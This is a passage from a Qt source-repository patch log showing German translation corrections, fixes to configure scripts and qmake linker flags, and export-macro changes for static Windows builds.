QDeclarativeConnections Cannot assign to non-existent property "%1" - Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens '%1" existiert + Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens "%1" existiert Connections: nested objects not allowed @@ -1757,7 +1757,7 @@ nach SQL transaction failed - Die SQL-Transaktion schlug fehl + Die SQL-Transaktion ist fehlgeschlagen transaction: missing callback @@ -1787,7 +1787,7 @@ nach plugin cannot be loaded for module "%1": %2 - Das Plugin des Moduls "%1" konnte nicht geladen werden: %2 + Das Plugin des Moduls "%1" kann nicht geladen werden: %2 module "%1" plugin "%2" not found @@ -1819,7 +1819,7 @@ nach local directory - Lokales Verzeichnis' + Lokales Verzeichnis is ambiguous. Found in %1 and in %2 @@ -1948,7 +1948,7 @@ nach Illegal escape sequence - Ungültiges Escape-Sequenz + Ungültige Escape-Sequenz Illegal unicode escape sequence @@ -1976,7 +1976,7 @@ nach Unterminated regular expression backslash sequence - Regulärer Ausdruck nicht abgeschlossen + Backslash-Sequenz in regulärem Ausdruck nicht abgeschlossen Unterminated regular expression class @@ -2058,7 +2058,7 @@ nach QDeclarativePixmap Error decoding: %1: %2 - Fehler beim Decodieren: %1: %2 + Fehler beim Dekodieren: %1: %2 Failed to get image from provider: %1 @@ -2107,7 +2107,7 @@ nach Cannot assign to read-only property "%1" - Die Eigenschaft '%1" ist schreibgeschützt und kann daher nicht zugewiesen werden + Die Eigenschaft "%1" ist schreibgeschützt und kann daher nicht zugewiesen werden @@ -2118,7 +2118,7 @@ nach Could not instantiate cursor delegate - Cursor-Delegate konnte angelegt werden + Cursor-Delegate konnte nicht instanziiert werden @@ -2163,7 +2163,7 @@ nach Cannot assign value %1 to property %2 - Der Wert '%1' kann nicht der Eigenschaft %2 zugewiesen werden + Der Wert '%1' kann der Eigenschaft %2 nicht zugewiesen werden Cannot assign object type %1 with no default method @@ -2979,13 +2979,13 @@ Möchten Sie die Datei trotzdem löschen? Connecting to host failed: %1 - Verbindung mit Rechner schlug fehl: + Verbindung mit Rechner ist fehlgeschlagen: %1 Login failed: %1 - Anmeldung schlug fehl: + Anmeldung ist fehlgeschlagen: %1 @@ -2997,37 +2997,37 @@ Möchten Sie die Datei trotzdem löschen? Changing directory failed: %1 - Ändern des Verzeichnisses schlug fehl: + Ändern des Verzeichnisses ist fehlgeschlagen: %1 Downloading file failed: %1 - Herunterladen der Datei schlug fehl: + Herunterladen der Datei ist fehlgeschlagen: %1 Uploading file failed: %1 - Hochladen der Datei schlug fehl: + Hochladen der Datei ist fehlgeschlagen: %1 Removing file failed: %1 - Löschen der Datei schlug fehl: + Löschen der Datei ist fehlgeschlagen: %1 Creating directory failed: %1 - Erstellen des Verzeichnisses schlug fehl: + Erstellen des Verzeichnisses ist fehlgeschlagen: %1 Removing directory failed: %1 - Löschen des Verzeichnisses schlug fehl: + Löschen des Verzeichnisses ist fehlgeschlagen: %1 @@ -3282,7 +3282,7 @@ Möchten Sie die Datei trotzdem löschen? Could not allocate statement - Die Allokation des Befehls schlug fehl + Die Allokation des Befehls ist fehlgeschlagen Could not prepare statement @@ -3916,7 +3916,7 @@ Möchten Sie die Datei trotzdem löschen? Logging in to %1 failed: authentication required - Die Anmeldung bei %1 schlug fehl: Es ist eine Authentifizierung erforderlich + Die Anmeldung bei %1 ist fehlgeschlagen: Es ist eine Authentifizierung erforderlich Error while downloading %1: %2 @@ -3957,7 +3957,7 @@ Möchten Sie die Datei trotzdem löschen? Temporary network failure. - Das Netzwerk ist zur Zeit ausgefallen. + Das Netzwerk ist zurzeit ausgefallen. @@ -3982,7 +3982,7 @@ Möchten Sie die Datei trotzdem löschen? The session was aborted by the user or system. - Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen. + Die Verbindung wurde vom Benutzer oder vom Betriebssystem unterbrochen. The requested operation is not supported by the system. @@ -4002,7 +4002,7 @@ Möchten Sie die Datei trotzdem löschen? Session aborted by user or system - Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen + Die Verbindung wurde vom Benutzer oder vom Betriebssystem unterbrochen Unidentified Error @@ -4049,7 +4049,7 @@ Möchten Sie die Datei trotzdem löschen? Unable to alloc statement - Die Allokation des Befehls schlug fehl + Die Allokation des Befehls ist fehlgeschlagen Unable to prepare statement @@ -4131,7 +4131,7 @@ Möchten Sie die Datei trotzdem löschen? Unable to fetch previous - Der vorangegangene Datensatz kann nicht abgeholt werden + Der vorherige Datensatz konnte nicht abgeholt werden @@ -4146,7 +4146,7 @@ Möchten Sie die Datei trotzdem löschen? PulseAudio Sound Server - PulseAudio Sound Server + PulseAudio-Sound-Server @@ -4180,7 +4180,7 @@ Möchten Sie die Datei trotzdem löschen? Unable to subscribe - Die Registrierung schlug fehl + Die Registrierung ist fehlgeschlagen Unable to unsubscribe @@ -4881,11 +4881,11 @@ Bitte wählen Sie einen anderen Dateinamen. Error reading from process - Das Lesen vom Prozess schlug fehl + Das Lesen vom Prozess ist fehlgeschlagen Error writing to process - Das Schreiben zum Prozess schlug fehl + Das Schreiben zum Prozess ist fehlgeschlagen Process crashed @@ -4897,7 +4897,7 @@ Bitte wählen Sie einen anderen Dateinamen. Process failed to start: %1 - Das Starten des Prozesses schlug fehl: %1 + Das Starten des Prozesses ist fehlgeschlagen: %1 @@ -5430,7 +5430,7 @@ Bitte wählen Sie einen anderen Dateinamen. %1: ftok failed - %1: ftok-Aufruf schlug fehl + %1: ftok-Aufruf ist fehlgeschlagen %1: unable to make key @@ -5462,7 +5462,7 @@ Bitte wählen Sie einen anderen Dateinamen. %1: size query failed - %1: Die Abfrage der Größe schlug fehl + %1: Die Abfrage der Größe ist fehlgeschlagen %1: unable to set key on lock @@ -5648,7 +5648,7 @@ Bitte wählen Sie einen anderen Dateinamen. Toggle Media Play/Pause Media player button to toggle between playing and paused - Pause + Wiedergabe/Pause Favorites @@ -6279,51 +6279,51 @@ Bitte wählen Sie einen anderen Dateinamen. Previous Candidate - Vorangegangener Vorschlag + Vorheriger Vorschlag Hangul - Hangul + Hangeul Hangul Start - Hangul Anfang + Hangeul Anfang Hangul End - Hangul Ende + Hangeul Ende Hangul Hanja - Hangul Hanja + Hangeul-Hanja Hangul Jamo - Hangul Jamo + Hangeul-Jamo Hangul Romaja - Hangul Romaja + Hangeul-Romaja Hangul Jeonja - Hangul Jeonja + Hangeul-Jeonja Hangul Banja - Hangul Banja + Hangeul-Banja Hangul PreHanja - Hangul PreHanja + Hangeul-PreHanja Hangul PostHanja - Hangul PostHanja + Hangeul-PostHanja Hangul Special - Hangul Special + Hangeul Special Ctrl @@ -6397,15 +6397,15 @@ Bitte wählen Sie einen anderen Dateinamen. Proxy authentication failed - Die Authentifizierung beim Proxy-Server schlug fehl + Die Authentifizierung beim Proxy-Server ist fehlgeschlagen Proxy authentication failed: %1 - Die Authentifizierung beim Proxy-Server schlug fehl: %1 + Die Authentifizierung beim Proxy-Server ist fehlgeschlagen: %1 SOCKS version 5 protocol error - Protokoll-Fehler (SOCKS version 5) + Protokoll-Fehler (SOCKS Version 5) General SOCKSv5 server failure @@ -7428,27 +7428,27 @@ Bitte wählen Sie einen anderen Dateinamen. Move the cursor to the next character - Positionsmarke auf folgendes Zeichen setzen + Positionsmarke auf nächstes Zeichen setzen Move the cursor to the previous character - Positionsmarke auf vorangehendes Zeichen setzen + Positionsmarke auf vorheriges Zeichen setzen Move the cursor to the next word - Positionsmarke auf folgendes Wort setzen + Positionsmarke auf nächstes Wort setzen Move the cursor to the previous word - Positionsmarke auf vorangehendes Wort setzen + Positionsmarke auf vorherige Wort setzen Move the cursor to the next line - Positionsmarke auf folgende Zeile setzen + Positionsmarke auf nächste Zeile setzen Move the cursor to the previous line - Positionsmarke auf vorangehende Zeile setzen + Positionsmarke auf vorherige Zeile setzen Move the cursor to the start of the line @@ -7468,11 +7468,11 @@ Bitte wählen Sie einen anderen Dateinamen. Move the cursor to the start of the document - Positionsmarke auf Anfang des Dokumentes setzen + Positionsmarke auf Anfang des Dokuments setzen Move the cursor to the end of the document - Positionsmarke auf Ende des Dokumentes setzen + Positionsmarke auf Ende des Dokuments setzen Select all @@ -7799,7 +7799,7 @@ Bitte wählen Sie einen anderen Dateinamen. encoding declaration or standalone declaration expected while reading the XML declaration - fehlende Encoding-Deklaration oder Standalone-Deklaration beim Parsen der XML-Deklaration + fehlende Kodierung-Deklaration oder Standalone-Deklaration beim Parsen der XML-Deklaration standalone declaration expected while reading the XML declaration @@ -7818,7 +7818,7 @@ Bitte wählen Sie einen anderen Dateinamen. Unknown location - unbekannt + Unbekannter Ort Error %1 in %2, at line %3, column %4: %5 @@ -7833,7 +7833,7 @@ Bitte wählen Sie einen anderen Dateinamen. QXmlStream Extra content at end of document. - Überzähliger Inhalt nach Ende des Dokumentes. + Überzähliger Inhalt nach Ende des Dokuments. Invalid entity value. @@ -7869,11 +7869,11 @@ Bitte wählen Sie einen anderen Dateinamen. %1 is an invalid encoding name. - %1 ist kein gültiger Name für das Encoding. + %1 ist kein gültiger Name für die Kodierung. Encoding %1 is unsupported - Das Encoding %1 wird nicht unterstützt + Die Kodierung %1 wird nicht unterstützt Standalone accepts only yes or no. @@ -7965,7 +7965,7 @@ Bitte wählen Sie einen anderen Dateinamen. The standalone pseudo attribute must appear after the encoding. - Das Standalone-Pseudoattribut muss dem Encoding unmittelbar folgen. + Das Standalone-Pseudoattribut muss der Kodierung unmittelbar folgen. %1 is an invalid PUBLIC identifier. @@ -7988,7 +7988,7 @@ Bitte wählen Sie einen anderen Dateinamen. Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values. - Der effektive Boolesche Wert einer Sequenz aus zwei oder mehreren atomaren Werten kann nicht berechnet werden. + Der effektive boolesche Wert einer Sequenz aus zwei oder mehreren atomaren Werten kann nicht berechnet werden. The data of a processing instruction cannot contain the string %1 @@ -8000,7 +8000,7 @@ Bitte wählen Sie einen anderen Dateinamen. %1 is not a valid XML 1.0 character. - %1 ist kein gültiges XML 1.0 Zeichen. + %1 ist kein gültiges XML-1.0-Zeichen. %1 was called. @@ -8220,7 +8220,7 @@ Bitte wählen Sie einen anderen Dateinamen. A value of type %1 cannot have an Effective Boolean Value. - Ein Wert des Typs %1 kann keinen effektiven Booleschen Wert haben. + Ein Wert des Typs %1 kann keinen effektiven booleschen Wert haben. Value %1 of type %2 exceeds maximum (%3). @@ -8264,7 +8264,7 @@ Bitte wählen Sie einen anderen Dateinamen. A comment cannot contain %1 - Ein Kommentar darf nicht'%1 enthalten + Ein Kommentar darf %1 nicht enthalten A comment cannot end with a %1. @@ -8284,7 +8284,7 @@ Bitte wählen Sie einen anderen Dateinamen. A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type. - Werte des Typs %1 dürfen keine Prädikate sein. Für Prädikate sind nur numerische oder effektiv Boolesche Typen zulässig. + Werte des Typs %1 dürfen keine Prädikate sein. Für Prädikate sind nur numerische oder effektive boolesche Typen zulässig. A positional predicate must evaluate to a single numeric value. @@ -8292,7 +8292,7 @@ Bitte wählen Sie einen anderen Dateinamen. The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid. - Der Zielname einer Processing-Anweisung kann nicht %1 (unabhängig von Groß/Kleinschreibung sein). %2 ist daher ungültig. + Der Zielname einer Processing-Anweisung kann nicht %1 (unabhängig von Groß/Kleinschreibung) sein. %2 ist daher ungültig. %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3. @@ -8570,15 +8570,15 @@ Bitte wählen Sie einen anderen Dateinamen. %1 is an unsupported encoding. - Das Encoding %1 wird nicht unterstützt. + Die Kodierung %1 wird nicht unterstützt. %1 contains octets which are disallowed in the requested encoding %2. - %1 enthält Oktette, die im Encoding %2 nicht zulässig sind. + %1 enthält Oktette, die in der Kodierung %2 nicht zulässig sind. The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character. - Der Code-Punkt %1 aus %2 mit Encoding %3 ist kein gültiges XML-Zeichen. + Der Code-Punkt %1 aus %2 mit der Kodierung %3 ist kein gültiges XML-Zeichen. Ambiguous rule match. @@ -9562,7 +9562,7 @@ Bitte wählen Sie einen anderen Dateinamen. Boolean content does not match pattern facet. - Der Boolesche Wert entspricht nicht der Suchmusterfacette. + Der boolesche Wert entspricht nicht der Suchmusterfacette. Binary content does not match the length facet. -- cgit v0.12 From d7255d7bf39ba681ff46fcb95a54d25793cce756 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Tue, 11 Jan 2011 15:14:31 +0100 Subject: installation of translations is now dealt with by translations.pro Reviewed-by: mariusSO --- projects.pro | 5 ----- 1 file changed, 5 deletions(-) diff --git a/projects.pro b/projects.pro index f94e1de..2e31e9a 100644 --- a/projects.pro +++ b/projects.pro @@ -143,11 +143,6 @@ CONFIG -= qt ### installations #### -#translations -translations.path=$$[QT_INSTALL_TRANSLATIONS] -translations.files = $$QT_SOURCE_TREE/translations/*.qm -INSTALLS += translations - #qmake qmake.path=$$[QT_INSTALL_BINS] win32 { -- cgit v0.12 From 4bc1261774b8c874440e29807888b6a95cc19b1f Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Mon, 10 Jan 2011 19:58:49 +0100 Subject: don't claim declarative debugging support without having declarative Task-number: QTBUG-15228 Reviewed-by: mariusSO --- configure | 4 +++- tools/configure/configureapp.cpp | 8 ++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/configure b/configure index 0394be9..128f735 100755 --- a/configure +++ b/configure @@ -8261,7 +8261,9 @@ if [ "$CFG_WEBKIT" != "no" ]; then fi fi echo "Declarative module ..... $CFG_DECLARATIVE" -echo "Declarative debugging ...$CFG_DECLARATIVE_DEBUG" +if [ "$CFG_DECLARATIVE" = "yes" ]; then + echo "Declarative debugging ...$CFG_DECLARATIVE_DEBUG" +fi echo "Support for S60 ........ $CFG_S60" echo "Symbian DEF files ...... $CFG_SYMBIAN_DEFFILES" echo "STL support ............ $CFG_STL" diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index 9dda3bd..c7df09d 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -3440,8 +3440,12 @@ void Configure::displayConfig() webkit = "yes (debug)"; cout << "WebKit support.............." << webkit << endl; } - cout << "Declarative support........." << dictionary[ "DECLARATIVE" ] << endl; - cout << "Declarative debugging......." << dictionary[ "DECLARATIVE_DEBUG" ] << endl; + { + QString declarative = dictionary[ "DECLARATIVE" ]; + cout << "Declarative support........." << declarative << endl; + if (declarative == "yes") + cout << "Declarative debugging......." << dictionary[ "DECLARATIVE_DEBUG" ] << endl; + } cout << "QtScript support............" << dictionary[ "SCRIPT" ] << endl; cout << "QtScriptTools support......." << dictionary[ "SCRIPTTOOLS" ] << endl; cout << "Graphics System............." << dictionary[ "GRAPHICS_SYSTEM" ] << endl; -- cgit v0.12 From 0953ee31dba532603fb7dfbde78c99aafb048bef Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Mon, 10 Jan 2011 20:09:24 +0100 Subject: fix -enable-stdcall-fixup usage the leading "-Wl," was apparently accidentally split off to the wrong line. Task-number: QTBUG-15391 Reviewed-by: mariusSO --- mkspecs/win32-g++/qmake.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mkspecs/win32-g++/qmake.conf b/mkspecs/win32-g++/qmake.conf index ec216aa..2d9833b 100644 --- a/mkspecs/win32-g++/qmake.conf +++ b/mkspecs/win32-g++/qmake.conf @@ -52,8 +52,8 @@ QMAKE_RUN_CXX_IMP = $(CXX) -c $(CXXFLAGS) $(INCPATH) -o $@ $< QMAKE_LINK = g++ QMAKE_LINK_C = gcc -QMAKE_LFLAGS = -enable-stdcall-fixup -Wl,-enable-auto-import -Wl,-enable-runtime-pseudo-reloc -QMAKE_LFLAGS_EXCEPTIONS_ON = -mthreads -Wl +QMAKE_LFLAGS = -Wl,-enable-stdcall-fixup -Wl,-enable-auto-import -Wl,-enable-runtime-pseudo-reloc +QMAKE_LFLAGS_EXCEPTIONS_ON = -mthreads QMAKE_LFLAGS_EXCEPTIONS_OFF = QMAKE_LFLAGS_RELEASE = -Wl,-s QMAKE_LFLAGS_DEBUG = -- cgit v0.12 From 7ec1c27e662dfd4393491f90bfcb9c868cc0a23f Mon Sep 17 00:00:00 2001 From: Mark Brand Date: Mon, 10 Jan 2011 20:21:05 +0100 Subject: Fix static build on Windows with MinGW. Q_DECL_IMPORT is still __declspec(dllimport), which is unsuitable for static code. Commit edbc656b changed Q_DECL_IMPORT_IMPORT to Q_CORE_EXPORT when declaring QtCore functions in svg. Now we change Q_DECL_IMPORT to Q_GUI_EXPORT when declaring QtGui functions into opengl and openvg. Also removed the redundant keyword "extern" from the function declarations. Merge-request: 2540 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp | 4 ++-- src/opengl/qglframebufferobject.cpp | 4 ++-- src/opengl/qglpixelbuffer.cpp | 4 ++-- src/opengl/qglpixmapfilter.cpp | 6 +++--- src/opengl/qpaintengine_opengl.cpp | 2 +- src/opengl/qpixmapdata_gl.cpp | 4 ++-- src/openvg/qpaintengine_vg.cpp | 8 ++++---- src/openvg/qpixmapdata_vg.cpp | 4 ++-- 8 files changed, 18 insertions(+), 18 deletions(-) diff --git a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp index 9ab8d2e..ad2852e 100644 --- a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp +++ b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp @@ -102,7 +102,7 @@ extern Q_GUI_EXPORT bool qt_cleartype_enabled; extern bool qt_applefontsmoothing_enabled; #endif -Q_DECL_IMPORT extern QImage qt_imageForBrush(int brushStyle, bool invert); +Q_GUI_EXPORT QImage qt_imageForBrush(int brushStyle, bool invert); ////////////////////////////////// Private Methods ////////////////////////////////////////// @@ -1154,7 +1154,7 @@ void QGL2PaintEngineEx::fill(const QVectorPath &path, const QBrush &brush) d->fill(path); } -extern Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale); // qtransform.cpp +Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale); // qtransform.cpp void QGL2PaintEngineEx::stroke(const QVectorPath &path, const QPen &pen) diff --git a/src/opengl/qglframebufferobject.cpp b/src/opengl/qglframebufferobject.cpp index adf3ceb..6161d9b 100644 --- a/src/opengl/qglframebufferobject.cpp +++ b/src/opengl/qglframebufferobject.cpp @@ -1171,8 +1171,8 @@ void QGLFramebufferObject::drawTexture(const QPointF &point, QMacCompatGLuint te } #endif -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); /*! \reimp */ int QGLFramebufferObject::metric(PaintDeviceMetric metric) const diff --git a/src/opengl/qglpixelbuffer.cpp b/src/opengl/qglpixelbuffer.cpp index 735590f..61bce23 100644 --- a/src/opengl/qglpixelbuffer.cpp +++ b/src/opengl/qglpixelbuffer.cpp @@ -416,8 +416,8 @@ QPaintEngine *QGLPixelBuffer::paintEngine() const #endif } -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); /*! \reimp */ int QGLPixelBuffer::metric(PaintDeviceMetric metric) const diff --git a/src/opengl/qglpixmapfilter.cpp b/src/opengl/qglpixmapfilter.cpp index 0369d56..2187deb 100644 --- a/src/opengl/qglpixmapfilter.cpp +++ b/src/opengl/qglpixmapfilter.cpp @@ -63,8 +63,8 @@ QT_BEGIN_NAMESPACE // qpixmapfilter.cpp -Q_DECL_IMPORT void qt_blurImage(QImage &blurImage, qreal radius, bool quality, int transposed = 0); -Q_DECL_IMPORT QImage qt_halfScaled(const QImage &source); +Q_GUI_EXPORT void qt_blurImage(QImage &blurImage, qreal radius, bool quality, int transposed = 0); +Q_GUI_EXPORT QImage qt_halfScaled(const QImage &source); void QGLPixmapFilterBase::bindTexture(const QPixmap &src) const { @@ -436,7 +436,7 @@ static inline uint nextMultiple(uint x, uint multiplier) return x + multiplier - mod; } -Q_DECL_IMPORT void qt_memrotate90_gl(const quint32 *src, int srcWidth, int srcHeight, int srcStride, +Q_GUI_EXPORT void qt_memrotate90_gl(const quint32 *src, int srcWidth, int srcHeight, int srcStride, quint32 *dest, int dstStride); bool QGLPixmapBlurFilter::processGL(QPainter *painter, const QPointF &pos, const QPixmap &src, const QRectF &) const diff --git a/src/opengl/qpaintengine_opengl.cpp b/src/opengl/qpaintengine_opengl.cpp index 2f1b8fd..2c01ac4 100644 --- a/src/opengl/qpaintengine_opengl.cpp +++ b/src/opengl/qpaintengine_opengl.cpp @@ -79,7 +79,7 @@ QT_BEGIN_NAMESPACE -Q_DECL_IMPORT extern QImage qt_imageForBrush(int brushStyle, bool invert); //in qbrush.cpp +Q_GUI_EXPORT QImage qt_imageForBrush(int brushStyle, bool invert); //in qbrush.cpp #ifdef QT_MAC_USE_COCOA extern void *qt_current_nsopengl_context(); // qgl_mac.mm #endif diff --git a/src/opengl/qpixmapdata_gl.cpp b/src/opengl/qpixmapdata_gl.cpp index 3549f9d..9980f2d 100644 --- a/src/opengl/qpixmapdata_gl.cpp +++ b/src/opengl/qpixmapdata_gl.cpp @@ -739,8 +739,8 @@ QGLTexture* QGLPixmapData::texture() const return &m_texture; } -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); int QGLPixmapData::metric(QPaintDevice::PaintDeviceMetric metric) const { diff --git a/src/openvg/qpaintengine_vg.cpp b/src/openvg/qpaintengine_vg.cpp index 09cbc36..b90811d 100644 --- a/src/openvg/qpaintengine_vg.cpp +++ b/src/openvg/qpaintengine_vg.cpp @@ -77,8 +77,8 @@ static const qreal aliasedCoordinateDelta = 0.5 - 0.015625; #if !defined(QVG_NO_DRAW_GLYPHS) -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); class QVGPaintEnginePrivate; @@ -526,7 +526,7 @@ void QVGPaintEnginePrivate::setTransform vgLoadMatrix(mat); } -Q_DECL_IMPORT extern bool qt_scaleForTransform(const QTransform &transform, qreal *scale); +Q_GUI_EXPORT bool qt_scaleForTransform(const QTransform &transform, qreal *scale); void QVGPaintEnginePrivate::updateTransform(QPaintDevice *pdev) { @@ -994,7 +994,7 @@ VGPath QVGPaintEnginePrivate::roundedRectPath(const QRectF &rect, qreal xRadius, return vgpath; } -Q_DECL_IMPORT extern QImage qt_imageForBrush(int style, bool invert); +Q_GUI_EXPORT QImage qt_imageForBrush(int style, bool invert); static QImage colorizeBitmap(const QImage &image, const QColor &color) { diff --git a/src/openvg/qpixmapdata_vg.cpp b/src/openvg/qpixmapdata_vg.cpp index 3f768fd..e4b1d02 100644 --- a/src/openvg/qpixmapdata_vg.cpp +++ b/src/openvg/qpixmapdata_vg.cpp @@ -404,8 +404,8 @@ void QVGPixmapData::reclaimImages() destroyImages(); } -Q_DECL_IMPORT extern int qt_defaultDpiX(); -Q_DECL_IMPORT extern int qt_defaultDpiY(); +Q_GUI_EXPORT int qt_defaultDpiX(); +Q_GUI_EXPORT int qt_defaultDpiY(); int QVGPixmapData::metric(QPaintDevice::PaintDeviceMetric metric) const { -- cgit v0.12 From 60b591108cbe4550d38fa03245cb9c4653778b47 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Mon, 10 Jan 2011 20:41:48 +0100 Subject: accept -declarative-debug under unix Task-number: QTBUG-15626 Reviewed-by: mariusSO --- configure | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure b/configure index 128f735..b33fc14 100755 --- a/configure +++ b/configure @@ -962,7 +962,7 @@ while [ "$#" -gt 0 ]; do VAL=no ;; #Qt style yes options - -incremental|-qvfb|-profile|-shared|-static|-sm|-xinerama|-xshape|-xsync|-xinput|-egl|-reduce-exports|-pch|-separate-debug-info|-stl|-freetype|-xcursor|-xfixes|-xrandr|-xrender|-mitshm|-fontconfig|-xkb|-nis|-qdbus|-dbus|-dbus-linked|-glib|-gstreamer|-gtkstyle|-cups|-iconv|-largefile|-h|-help|-v|-verbose|-debug|-release|-fast|-accessibility|-confirm-license|-gnumake|-framework|-qt3support|-debug-and-release|-exceptions|-cocoa|-carbon|-universal|-prefix-install|-silent|-armfpa|-optimized-qmake|-dwarf2|-reduce-relocations|-sse|-openssl|-openssl-linked|-ptmalloc|-xmlpatterns|-phonon|-phonon-backend|-multimedia|-audio-backend|-svg|-declarative|-javascript-jit|-script|-scripttools|-rpath|-force-pkg-config|-s60|-usedeffiles) + -incremental|-qvfb|-profile|-shared|-static|-sm|-xinerama|-xshape|-xsync|-xinput|-egl|-reduce-exports|-pch|-separate-debug-info|-stl|-freetype|-xcursor|-xfixes|-xrandr|-xrender|-mitshm|-fontconfig|-xkb|-nis|-qdbus|-dbus|-dbus-linked|-glib|-gstreamer|-gtkstyle|-cups|-iconv|-largefile|-h|-help|-v|-verbose|-debug|-release|-fast|-accessibility|-confirm-license|-gnumake|-framework|-qt3support|-debug-and-release|-exceptions|-cocoa|-carbon|-universal|-prefix-install|-silent|-armfpa|-optimized-qmake|-dwarf2|-reduce-relocations|-sse|-openssl|-openssl-linked|-ptmalloc|-xmlpatterns|-phonon|-phonon-backend|-multimedia|-audio-backend|-svg|-declarative|-declarative-debug|-javascript-jit|-script|-scripttools|-rpath|-force-pkg-config|-s60|-usedeffiles) VAR=`echo $1 | sed "s,^-\(.*\),\1,"` VAL=yes ;; @@ -3560,7 +3560,7 @@ Usage: $relconf [-h] [-prefix ] [-prefix-install] [-bindir ] [-libdir [-no-gtkstyle] [-gtkstyle] [-no-svg] [-svg] [-no-webkit] [-webkit] [-webkit-debug] [-no-javascript-jit] [-javascript-jit] [-no-script] [-script] [-no-scripttools] [-scripttools] - [-no-declarative] [-declarative][-no-declarative-debug] [-declarative-debug] + [-no-declarative] [-declarative] [-no-declarative-debug] [-declarative-debug] [additional platform specific options (see below)] -- cgit v0.12 From 66242e0e492137e051273055f566c3edd42c07e9 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Tue, 11 Jan 2011 12:43:35 +0100 Subject: clean up platform detection logic it's pointless to check which files are present, as we only have all-platform packages now. Task-number: QTBUG-15685 Reviewed-by: mariusSO --- configure | 60 ++++++++++++------------------------------------------------ 1 file changed, 12 insertions(+), 48 deletions(-) diff --git a/configure b/configure index b33fc14..a455ad3 100755 --- a/configure +++ b/configure @@ -185,27 +185,11 @@ fi #------------------------------------------------------------------------------- PLATFORM_X11=no -PLATFORM_MAC=no -PLATFORM_QWS=no - -if [ -f "$relpath"/src/gui/kernel/qapplication_mac.mm ] && [ -d /System/Library/Frameworks/Carbon.framework ]; then - # Qt/Mac - # ~ the Carbon SDK exists - # ~ src/gui/base/qapplication_mac.cpp is present - # ~ this is the internal edition and Qt/Mac sources exist +PLATFORM_QWS=maybe +if [ -d /System/Library/Frameworks/Carbon.framework ]; then PLATFORM_MAC=maybe -elif [ -f "$relpath"/src/gui/kernel/qapplication_qws.cpp ]; then - # Qt Embedded - # ~ src/gui/base/qapplication_qws.cpp is present - # ~ this is the free or commercial edition - # ~ this is the internal edition and Qt Embedded is explicitly enabled - if [ -f "$relpath"/src/gui/kernel/qapplication_mac.mm ]; then - # This is a depot build, or an all-platforms package - PLATFORM_QWS=maybe - else - # This must be the embedded package, since the Qt/Mac source files are not present - PLATFORM_QWS=yes - fi +else + PLATFORM_MAC=no fi #----------------------------------------------------------------------------- @@ -314,16 +298,9 @@ earlyArgParse() case "$VAR" in embedded) CFG_EMBEDDED="$VAL" - if [ "$PLATFORM_QWS" != "no" ]; then - if [ "$PLATFORM_QWS" = "maybe" ]; then - PLATFORM_X11=no - PLATFORM_MAC=no - PLATFORM_QWS=yes - fi - else - echo "No license exists to enable Qt for Embedded Linux. Disabling." - CFG_EMBEDDED=no - fi + PLATFORM_X11=no + PLATFORM_MAC=no + PLATFORM_QWS=yes ;; developer-build) CFG_DEV="yes" @@ -1235,16 +1212,9 @@ while [ "$#" -gt 0 ]; do ;; embedded) CFG_EMBEDDED="$VAL" - if [ "$PLATFORM_QWS" != "no" ]; then - if [ "$PLATFORM_QWS" = "maybe" ]; then - PLATFORM_X11=no - PLATFORM_MAC=no - PLATFORM_QWS=yes - fi - else - echo "No license exists to enable Qt for Embedded Linux. Disabling." - CFG_EMBEDDED=no - fi + PLATFORM_X11=no + PLATFORM_MAC=no + PLATFORM_QWS=yes ;; sse) if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then @@ -1349,14 +1319,8 @@ while [ "$#" -gt 0 ]; do CFG_BUILD_PARTS="$CFG_BUILD_PARTS $VAL" ;; x11) - if [ "$PLATFORM_MAC" = "yes" ]; then - PLATFORM_MAC=no - elif [ "$PLATFORM_QWS" = "yes" ]; then - PLATFORM_QWS=no - fi - if [ "$CFG_FRAMEWORK" = "auto" ]; then - CFG_FRAMEWORK=no - fi + PLATFORM_MAC=no + PLATFORM_QWS=no PLATFORM_X11=yes ;; sdk) -- cgit v0.12 From a05ece41b9adbbe2f5aebd305e84e29693a39bcf Mon Sep 17 00:00:00 2001 From: Oswald 